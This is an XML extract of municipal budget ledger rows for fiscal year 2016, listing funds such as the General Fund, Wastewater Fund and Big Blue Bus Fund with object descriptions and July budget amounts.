<row _id="18891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5296</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5296</total></row>
<row _id="18892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400770.0</object><object_description>LEASE RENTAL REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-4011825</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4011825</total></row>
<row _id="18893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>566631.0</object><object_description>SMURRF PLANT MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>441303</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>441303</total></row>
<row _id="18894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>407150.0</object><object_description>SALE OF RECYCLED WATER</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-200000</total></row>
<row _id="18895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4748781</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4748781</total></row>
<row _id="18896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>22395</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22395</total></row>
<row _id="18897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>59719</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>59719</total></row>
<row _id="18898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544115.0</object><object_description>FARE MEDIA</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="18899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402650.0</object><object_description>NON-TRANSP REV-OPER</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-26663</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-26663</total></row>
<row _id="18900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>403010.0</object><object_description>OPERATING INTEREST - CITY</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-78299</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-78299</total></row>
<row _id="18901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>354000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>354000</total></row>
<row _id="18902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26176</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26176</total></row>
<row _id="18903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>57504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>57504</total></row>
<row _id="18904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15575</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15575</total></row>
<row _id="18905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="18906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17434</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17434</total></row>
<row _id="18907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577090.0</object><object_description>REIMBURSE WATER FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>38490</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38490</total></row>
<row _id="18908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>400191.0</object><object_description>STREET PERFORMERS PERMIT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-47000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-47000</total></row>
<row _id="18909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1468</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1468</total></row>
<row _id="18910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533080.0</object><object_description>MARTIN LUTHER KING DAY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8199</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8199</total></row>
<row _id="18911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>124</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>124</total></row>
<row _id="18912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1302</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1302</total></row>
<row _id="18913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404680.0</object><object_description>HMRRP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-176212</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-176212</total></row>
<row _id="18914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405060.0</object><object_description>ENGINEERING COUNTER SALES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-6816</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6816</total></row>
<row _id="18915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2022</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2022</total></row>
<row _id="18916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5503</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5503</total></row>
<row _id="18917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>52</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52</total></row>
<row _id="18918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>47767</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>47767</total></row>
<row _id="18919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5633</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5633</total></row>
<row _id="18920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>577230.0</object><object_description>FISCAL AGENT FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5451</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5451</total></row>
<row _id="18921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522100.0</object><object_description>EXPERT WITNESS COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570250.0</object><object_description>GEN FUND REIMB FROM PIER FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-197842</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-197842</total></row>
<row _id="18923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577880.0</object><object_description>SMURRF O&amp;M COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-461383</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-461383</total></row>
<row _id="18924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30202</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30202</total></row>
<row _id="18925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>28</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28</total></row>
<row _id="18926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>577065.0</object><object_description>MEMBERSHIP FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1415</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1415</total></row>
<row _id="18927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>663389</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>663389</total></row>
<row _id="18928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4800</total></row>
<row _id="18929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544111.0</object><object_description>PROMOTIONAL ITEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11000</total></row>
<row _id="18930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4693545</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4693545</total></row>
<row _id="18931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>110800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>110800</total></row>
<row _id="18932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11036</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11036</total></row>
<row _id="18933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>28503</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28503</total></row>
<row _id="18935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3712</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3712</total></row>
<row _id="18936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>23100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23100</total></row>
<row _id="18937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20900</total></row>
<row _id="18938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544199.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25331</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25331</total></row>
<row _id="18939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578200.0</object><object_description>AIRPORT REIMBURSEMENT FOR SBDC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>32638</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32638</total></row>
